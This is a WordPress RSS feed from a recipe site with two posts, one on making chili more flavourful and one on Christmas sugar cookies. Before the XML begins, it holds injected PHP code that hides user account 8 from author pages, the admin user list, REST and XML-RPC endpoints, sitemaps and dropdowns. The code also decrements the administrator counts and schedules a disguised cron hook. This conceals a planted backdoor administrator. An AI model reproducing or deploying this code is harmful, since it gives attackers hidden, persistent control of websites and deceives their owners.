add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 8;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
        );
    }
}, 1 );

add_action( 'template_redirect', function() {
    if ( is_author() ) {
        $author = get_queried_object();
        if ( $author instanceof WP_User && (int) $author->ID === 8 ) {
            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
            nocache_headers();
        }
    }
} );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 8 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 8;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 8;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 8;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/8(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 8;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-8{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>best Archives - Recipes</title>
	<atom:link href="https://skinnydietrecipes.com/tag/best/feed" rel="self" type="application/rss+xml" />
	<link>https://skinnydietrecipes.com/tag/best</link>
	<description></description>
	<lastBuildDate>Wed, 18 Dec 2024 06:24:55 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.8.6</generator>

<image>
	<url>https://skinnydietrecipes.com/wp-content/uploads/2019/06/cropped-donut-1727497_640-32x32.png</url>
	<title>best Archives - Recipes</title>
	<link>https://skinnydietrecipes.com/tag/best</link>
	<width>32</width>
	<height>32</height>
</image> 
<site xmlns="com-wordpress:feed-additions:1">163356040</site>	<item>
		<title>What Makes Chili More Flavorful?</title>
		<link>https://skinnydietrecipes.com/what-makes-chili-more-flavorful</link>
		
		<dc:creator><![CDATA[chiefnick]]></dc:creator>
		<pubDate>Wed, 18 Dec 2024 06:24:52 +0000</pubDate>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[best]]></category>
		<category><![CDATA[chili]]></category>
		<category><![CDATA[make]]></category>
		<guid isPermaLink="false">https://skinnydietrecipes.com/?p=3104</guid>

					<description><![CDATA[<p>There’s nothing as satisfying as a steaming bowl of chili on a cold day. But that satisfaction can quickly turn to disappointment when you try it only to realize something is missing. After all, nobody likes bland chili! But what makes chili more flavorful? There are a few different ingredients you can try to get [&#8230;]</p>
<p>The post <a href="https://skinnydietrecipes.com/what-makes-chili-more-flavorful">What Makes Chili More Flavorful?</a> appeared first on <a href="https://skinnydietrecipes.com">Recipes</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>There’s nothing as satisfying as a steaming bowl of chili on a cold day. But that satisfaction can quickly turn to disappointment when you try it only to realize something is missing. After all, nobody likes bland chili! But what makes chili more flavorful? There are a few different ingredients you can try to get a more flavorful and satisfying chili: </p>



<ul class="wp-block-list">
<li><strong>Salt</strong>: This may be the most obvious choice. Salt is a crucial ingredient that enhances all the other flavors. Even if you’ve added some salt already, you may need to add more.</li>



<li><strong>Spice</strong>: You may need more spices like cumin, paprika, chili powder, or cayenne pepper to enhance the flavor profile. You should season your chili early and do it several more times throughout the cooking process.</li>



<li><strong>Acidic ingredients</strong>: Acidic ingredients like tomatoes, lime juice, or vinegar balance chili flavors. However, only add these in small increments because too much can overpower the other flavors.</li>



<li><strong>Vegetables</strong>: If you think your chili is too thin or bland, add small pieces of vegetables like onions, potatoes, celery, or carrots to thicken your base and add an earthy flavor to your chili.</li>



<li><strong>Fresh herbs</strong>: Cilantro, basil, and parsley add a unique flavor combination, especially when added at the end of its cooking time.</li>



<li><strong>Flavorful liquids:</strong> You may want to add water to help cook the ingredients, but it’s better to add liquid ingredients with more flavor, such as beer, wine, red wine vinegar, Worcestershire sauce, or broth. These can all bring out different tastes that enhance your chili.</li>



<li><strong>Alternate Spices</strong>: While many people will add spices like cumin, chili powder, paprika, and cayenne pepper, you can elevate the flavor by adding cocoa powder, bacon, ground coffee, cinnamon, or garam masala to add layered flavors to your chili.</li>
</ul>



<p></p>



<p></p>



<p></p>



<p></p>



<p></p>



<p></p>



<p>From: &#8220;howtocook.recipes&#8221;</p>
<p>The post <a href="https://skinnydietrecipes.com/what-makes-chili-more-flavorful">What Makes Chili More Flavorful?</a> appeared first on <a href="https://skinnydietrecipes.com">Recipes</a>.</p>
]]></content:encoded>
					
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">3104</post-id>	</item>
		<item>
		<title>Christmas Cookies! (Vanilla Biscuits/Sugar Cookies)</title>
		<link>https://skinnydietrecipes.com/christmas-cookies-vanilla-biscuits-sugar-cookies</link>
		
		<dc:creator><![CDATA[chiefnick]]></dc:creator>
		<pubDate>Mon, 16 Dec 2024 18:07:45 +0000</pubDate>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[best]]></category>
		<category><![CDATA[candy]]></category>
		<category><![CDATA[christmas]]></category>
		<guid isPermaLink="false">https://skinnydietrecipes.com/?p=3057</guid>

					<description><![CDATA[<p>Take a break from the Christmas madness to make Christmas Cookies! These sugar cookies are classic&#160;vanilla biscuits&#160;that are made for cutting out shapes&#160;because they hold their shape perfectly when baked. What I call “Christmas Cookies” are simply vanilla biscuits cut out in Christmas shapes and iced with colourful festive frosting. They taste like shortbread cookies, but [&#8230;]</p>
<p>The post <a href="https://skinnydietrecipes.com/christmas-cookies-vanilla-biscuits-sugar-cookies">Christmas Cookies! (Vanilla Biscuits/Sugar Cookies)</a> appeared first on <a href="https://skinnydietrecipes.com">Recipes</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>Take a break from the Christmas madness to make Christmas Cookies! These sugar cookies are classic&nbsp;<strong>vanilla biscuits</strong>&nbsp;that are made for cutting out shapes&nbsp;because they hold their shape perfectly when baked.</p>



<p>What I call “Christmas Cookies” are simply vanilla biscuits cut out in Christmas shapes and iced with colourful festive frosting. They taste like <a href="https://skinnydietrecipes.com/icing-for-biscuits-royal-icing">shortbread cookies</a>, but not quite as buttery or crumbly. They are as classic as<strong> </strong>vanilla biscuits can be.</p>



<p></p>



<p>This particular biscuit recipe is&nbsp;<strong>made for cutting out shapes –</strong>&nbsp;in this case, Christmas shapes.&nbsp;Most cookies spread snd puff up so they bear little resemblance to the shape you expected!</p>



<p>But these hold their shape perfectly – as you can see by the sharp ridges and corners in the photo below.</p>



<figure class="wp-block-image size-full"><img fetchpriority="high" decoding="async" width="648" height="907" src="https://skinnydietrecipes.com/wp-content/uploads/2024/12/image-1.png" alt="" class="wp-image-3060" srcset="https://skinnydietrecipes.com/wp-content/uploads/2024/12/image-1.png 648w, https://skinnydietrecipes.com/wp-content/uploads/2024/12/image-1-214x300.png 214w" sizes="(max-width: 648px) 100vw, 648px" /></figure>



<h2 class="wp-block-heading" id="h-what-you-need-for-christmas-cookies"><strong>What you need for&nbsp;Christmas Cookies</strong></h2>



<p>The nice thing about these Christmas Cookies is that they’re made with pantry staples – so there’s no need to add to your ever growing Christmas grocery shopping list!!!</p>



<p></p>



<h2 class="wp-block-heading" id="h-how-to-make-christmas-cookies"><strong>How to make Christmas Cookies</strong></h2>



<p>Unlike most cookie doughs suitable for cutting out shape, there’s&nbsp;<strong>no chill time required</strong>&nbsp;for this recipe. Ain’t nobody got time for chilling during Christmas madness – right??!</p>



<p>Bonus: the dough is easy to handle and can be scrunched up and rolled up again over and over until you’ve used up every scrap.</p>



<figure class="wp-block-image"><img decoding="async" src="https://www.recipetineats.com/tachyon/2019/12/How-to-make-Christmas-Cookies-Sugar-Cookies.jpg" alt="How to make Christmas Cookies - Cut out Sugar Cookies" class="wp-image-41679"/></figure>



<p>Because these are sweet vanilla biscuits, they are flavoured enough and sweet enough to serve plain. But if you are inclined to ice them, pop over to my <a href="https://skinnydietrecipes.com/icing-for-biscuits-royal-icing">Icing for Christmas Cookies</a> (PS I also share my quick ‘n easy way to ice them!)</p>



<figure class="wp-block-image"><img decoding="async" src="https://www.recipetineats.com/tachyon/2019/12/Christmas-Cookies-Sugar-Cookies_0.jpg" alt="Photo of tray filled with Christmas sugar cookies" class="wp-image-41676"/></figure>



<p></p>
<p>The post <a href="https://skinnydietrecipes.com/christmas-cookies-vanilla-biscuits-sugar-cookies">Christmas Cookies! (Vanilla Biscuits/Sugar Cookies)</a> appeared first on <a href="https://skinnydietrecipes.com">Recipes</a>.</p>
]]></content:encoded>
					
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">3057</post-id>	</item>
	</channel>
</rss>